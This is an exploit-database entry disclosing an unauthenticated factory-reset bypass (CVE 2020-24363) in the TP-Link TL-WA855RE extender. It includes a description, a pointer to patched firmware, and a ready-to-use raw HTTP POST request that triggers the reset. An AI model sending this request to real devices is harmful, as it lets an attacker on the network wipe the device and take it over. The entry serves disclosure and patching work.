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Suggest Exploit
vendor:
TL-WA855RE
by:
malwrforensics
7.8
CVSS
HIGH
Device Reset Auth Bypass
287
CWE
Product Name: TL-WA855RE
Affected Version From: TL-WA855RE(US)_V5_200415
Affected Version To: TL-WA855RE(US)_V5_200415
Patch Exists: YES
Related CWE: 2020-24363
CPE: h:tp-link:tl-wa855re_v5_200415
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: N/A
2020

TP-Link TL-WA855RE V5_200415 – Device Reset Auth Bypass

By default the web interface of the TL-WA855RE wireless extender require users to log in in order to access the admin interface. However, an attacker, on the same network, can bypass it and use the APIs provided to reset the device to its factory settings by using the TDDP_RESET code. An attacker can then set up a new admin password, resulting in a complete takeover of the device.

Mitigation:

The vendor has released a fix; the new firmware (TL-WA855RE(US)_V5_200731) is available to download from: https://www.tp-link.com/us/support/download/tl-wa855re/v5/#Firmware
Source

Exploit-DB raw data:

# Exploit Title: TP-Link TL-WA855RE V5_200415 - Device Reset Auth Bypass
# Date: 2020/07/29
# Exploit Author: malwrforensics
# Vendor Homepage: https://tp-link.com
# Software link: https://static.tp-link.com/2020/202004/20200430/TL-WA855RE_V5_200415.zip
# Version: TL-WA855RE(US)_V5_200415
# Tested on: N/A
# CVE : 2020-24363 
Important: The vendor has released a fix; the new firmware (TL-WA855RE(US)_V5_200731) is available to download from: https://www.tp-link.com/us/support/download/tl-wa855re/v5/#Firmware

Details
By default the web interface of the TL-WA855RE wireless extender require users to log in in order to access the admin interface. However, an attacker, on the same network, can bypass it and use the APIs provided to reset the device to its factory settings by using the TDDP_RESET code. An attacker can then set up a new admin password, resulting in a complete takeover of the device.
To test, you can send a POST request like the one below using the TDDP_RESET (5). The request doesn't need any type of authentication. You can then access the web interface and set a new administrative password.

POST /?code=5&asyn=0 HTTP/1.1
Host: <redacted>
Content-Length: 7
Accept: text/plain, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0
Content-Type: text/plain;charset=UTF-8
Origin: http://<redacted>
Referer: http://<redacted>
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

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